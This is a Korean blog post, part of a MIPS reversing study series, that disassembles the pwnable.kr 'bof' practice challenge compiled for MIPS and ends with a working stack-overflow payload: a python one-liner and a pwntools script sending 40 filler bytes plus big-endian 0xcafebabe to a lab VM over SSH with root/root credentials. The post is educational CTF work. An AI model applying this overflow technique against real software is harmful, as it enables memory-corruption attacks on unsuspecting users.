원래 이번 포스팅 계획은 if분기문만 다뤄보려구했지만 욕심이 조금 생겨서 내친김에 BOF까지 도전해봤습니다.

pwnable.kr의 Toddler`s bottle bof문제 소스 그대로 사용했습니다. 다만 mips에서 컴파일하고 분석했을뿐!

분석하면서 크게 어려움을 겪어던 점은 없었으니, 보시는 분들도 수월하리라 생각합니다.

한가지 다른점이 있다면 x86에서는 리틀엔디안이였지만, mips에서는 빅엔디안이라는 사실이구요,


자세한 곳은 이곳을 참조하시기 바랍니다.

[참조] http://javawoo.tistory.com/27


1. C 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
 
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);
 
        if(key == 0xcafebabe){
                printf("Overflow Success!\n");
        }
        else{
                printf("Nah.. Overflow Fail :(\n");
        }
}
 
 
int main(int argc, char *argv[]){
 
        func(0xdeadbeef);
 
        return 0;
}



우선, 이 포스팅은 mips에 대한 내용을 기록하기 위함이며 해당 문제에 대한 풀이는 전에 포스팅한 적이 있으므로

BOF에 대해서는 자세히 풀이하지 않겠습니다. BOF에 대한 것을 알고 싶으시다면 아래 링크를 참조해주세요.


http://bachs.tistory.com/entry/PEDA-pwnablekr-bof%EB%AC%B8%EC%A0%9C


음,, 우선 소스는 별 것이 없습니다.

main함수에서 func라는 함수에 0xdeadbeef 값을 input으로 넣어주는데, 이 값을 func내에서

0xcafebabe라는 값과 비교한 후, BOF가 성공했는 지 실패했는 지 보여주는 코드입니다.


func함수 내부에 존재하는 oveflowme[32] 변수를 이용하여 BOF하면 될 것 같아요.


2. Disassemble Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dump of assembler code for function main:
   0x0040072c <+0>:  addiu sp,sp,-32
   0x00400730 <+4>:  sw ra,28(sp)
   0x00400734 <+8>:  sw s8,24(sp)
   0x00400738 <+12>: move  s8,sp
   0x0040073c <+16>: sw a0,32(s8)
   0x00400740 <+20>: sw a1,36(s8)
   0x00400744 <+24>: lui   v0,0xdead
   0x00400748 <+28>: ori   a0,v0,0xbeef
   0x0040074c <+32>: jal   0x4006a0 <func>
   0x00400750 <+36>: move  at,at
   0x00400754 <+40>: move  v0,zero
   0x00400758 <+44>: move  sp,s8
   0x0040075c <+48>: lw ra,28(sp)
   0x00400760 <+52>: lw s8,24(sp)
   0x00400764 <+56>: addiu sp,sp,32
   0x00400768 <+60>: jr ra
   0x0040076c <+64>: move  at,at
End of assembler dump.



한번에 보려면 빡세니까 크게크게 main을 먼저 살펴보고, 실제 오버플로우를 발생시킬 func함수를 살펴봅시다.


2-1. main함수

위의 다섯 번째 줄까지는 지난 포스팅에서 살펴봤듯이 함수 프레임을 준비하는 작업을 하고 있습니다.

스택의 크기를 늘려주고, 현재 프레임 포인터를 백업하고 현재 프레임포인터 값을 스택포인터값으로 바꿔주는 작업이지요


a0 부터 a3까지의 레지스터들은 서브루틴 콜의 파라미터로 사용하기 위한 레지스터였습니다.

현재 까지는 a0 ~ a3레지스터에 접근 한 적이 없으니, 현재는 main의 파라미터들인 argc와 argv가 셋팅이 되어 있을 것으로 생각이 됩니다.



짜잔 하고 직접 찍어보니 욥! 예상대로 argc와 argv가 셋팅이 되어있네요,


lui는 지난 포스팅에서 소개했던 대로 타겟 레지스터의 상위 2바이트에 값을 넣는다고 했습니다.

lui v0, 0xdead 

=> v0 = 0xdead0000 의 상태가 될꺼에요


ori는 처음보니까 한번 찾아볼까요?

ori(OR Immediate) 타겟 레지스터에 OR연산을 해서 값을 넣어주는 명령어네요, 

a0 = v0 | 0x0000beef 

=> a0 = 0xdead0000 OR 0x0000beef 

=> a0 = 0xdeadbeef

이렇게 해서 a0에 func함수의 인자인 0xdeadbeef의 값이 저장된 것을 알 수 있습니다.

그 이후 func 함수를 호출하고 스택프레임 해제 후 프로그램이 종료되고 있습니다.


2-2. func 함수

이제 실제로 우리가 살펴봐야할 overflow를 내야하는 func함수를 본격적으로 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Dump of assembler code for function func:
   0x004006a0 <+0>:   addiu sp,sp,-64
   0x004006a4 <+4>:   sw ra,60(sp)
   0x004006a8 <+8>:   sw s8,56(sp)
   0x004006ac <+12>:  move  s8,sp
   0x004006b0 <+16>:  sw a0,64(s8)
   0x004006b4 <+20>:  lui   v0,0x40
   0x004006b8 <+24>:  addiu v0,v0,2304
   0x004006bc <+28>:  move  a0,v0
   0x004006c0 <+32>:  jal   0x400540 <printf@plt>
   0x004006c4 <+36>:  move  at,at
   0x004006c8 <+40>:  addiu v0,s8,24
   0x004006cc <+44>:  move  a0,v0
   0x004006d0 <+48>:  jal   0x400550 <gets@plt>
   0x004006d4 <+52>:  move  at,at
   0x004006d8 <+56>:  lw v1,64(s8)
   0x004006dc <+60>:  lui   v0,0xcafe
   0x004006e0 <+64>:  ori   v0,v0,0xbabe
   0x004006e4 <+68>:  bne   v1,v0,0x400704 <func+100>
   0x004006e8 <+72>:  move  at,at
   0x004006ec <+76>:  lui   v0,0x40
   0x004006f0 <+80>:  addiu a0,v0,2320
   0x004006f4 <+84>:  jal   0x400560 <puts@plt>
   0x004006f8 <+88>:  move  at,at
   0x004006fc <+92>:  j  0x400714 <func+116>
   0x00400700 <+96>:  move  at,at
   0x00400704 <+100>: lui   v0,0x40
   0x00400708 <+104>:   addiu a0,v0,2340
   0x0040070c <+108>:   jal   0x400560 <puts@plt>
   0x00400710 <+112>:   move  at,at
   0x00400714 <+116>:   move  sp,s8
   0x00400718 <+120>:   lw ra,60(sp)
   0x0040071c <+124>:   lw s8,56(sp)
   0x00400720 <+128>:   addiu sp,sp,64
   0x00400724 <+132>:   jr ra
   0x00400728 <+136>:   move  at,at
End of assembler dump.



중점적으로 봐야할 곳은 overflowme변수가 스택에서 어디에 위치하고 있는지?
그리고 함수의 input인 0xdeadbeef는 어디에 위치하고 있는지?
그래서 두 값간의 주소 차가 얼마나 나는지? 를 파악해야 오버플로우를 내면서 분기를 조작할 수 있을 거에요.

앞서 여러 번 살펴봤던 스택프레임을 구성하는 부분은 생략하고, 빠르게 살펴보겠습니다.
우선 overflowme변수의 위치부터 확인해보겠습니다.

C소스에서 gets함수를 통해 overflowme변수에 값을 넣었다는 것 기억나시나요?
mips에서는 함수 파라미터를 정해주기 위해 a0 ~ a3까지 사용했고, gets함수는 overflowme 변수 하나만을 파라미터로 받았으니
gets함수 콜 전에 a0에 어떤 값이 셋팅되고 있는 지를 살펴보면 overflowme를 추적해볼 수 있습니다.

12번 째 라인을 보면, 
addiu v0, s8, 24 
=> v0 = s8+24 
=> v0 = 베이스 포인터 + 24 한 곳의 값을 저장

13번 째 라인에서는 
move a0, v0
=> a0 = v0

14번 째 라인에서 gets를 호출하고 있습니다.

12 ~ 14라인 까지 살펴 본 결과 overflowme변수는 s8+24에 있는 것으로 보입니다. 직접 확인을 해보면!
 


저는 input 값을 AAAAA로 넣어주고 실행을 하였고, 결과적으로 제대로 분석했음을 알 수 있습니다.


gets함수 실행 후 16라인부터 다시 봅시다요

lw v1, 64(s8)

=> v1 = s8+64

=> v1에 s8+64값을 저장한 후


main에서 0xdeadbeef를 저장했던 똑같은 패턴으로 v0에 0xcafebabe를 저장했습니다.

그리고


19번째 라인에서

bne v1, v0, 0x400704


bne(branch on not equal) : 값을 비교해서 두 값이 같지 않으면 해당 주소로 점프를 뛰라는 명령어 입니다.

오호, 그럼 C소스에서 if( key == 0xcafebabe ) 이 분기를 뜻하는 것이겠네요.

그렇다면 분석한 정황상 s8+64에 함수의 input인 0xdeadbeef가 있다는 뜻??


정답! 그럼 이제 풀어낼 수 있을 것같아요.

overflowme와 함수 input과의 거리는 40만큼 나고 있기 때문에 40개의 dummy + 0xcafebabe를 넣어주면 뙇 하고 풀리겠네요.



3. exploit

사실 (python -c 'print "\x90"*40+"\xca\xfe\xba\xbe"') | ./bof 라고만 해도 풀리지만, pwntools모듈을 리마인드 하기위해서

pwntools로 풀어봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ssh(host='192.168.234.138', user='root', password='root', port=22)
= s.run('./prac/bof/bof')
data = p.recvuntil('overflow me : ')
print data 
 
payload = '\x90'*40 + '\xca\xfe\xba\xbe'
 
p.sendline(payload)
data = p.recvline()
 
print data 



어려운 코드는 없으시지요?

ssh 커넥션을 맺은 후 bof파일을 실행해 프로세스를 생성해서

overflowme : 라는 응답을 받으면


우리가 분석해서 만들어 낸 페이로드를 날려주면 끝입니다.

맨 처음 앞서 말씀 드렸다 시피 mips는 빅엔디안이기 때문에, \xbe\xba\xfe\xca의 형태가 아니라

\xca\xfe\xba\xbe로 우리가 보는 대로 값을 넣어주었습니다.


실행 결과는 위 사진처럼 아주 깔끔하게 해결되었습니다!


다음 포스팅은 반복문과 관련해서 하도록 하고.. 추후에 실제 프로그램들을 뜯어볼 지, 어떻게 할지는 정해봐야겠습니다. 



'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13
firmware 분석 환경 구축하기  (10) 2017.09.06

+ Recent posts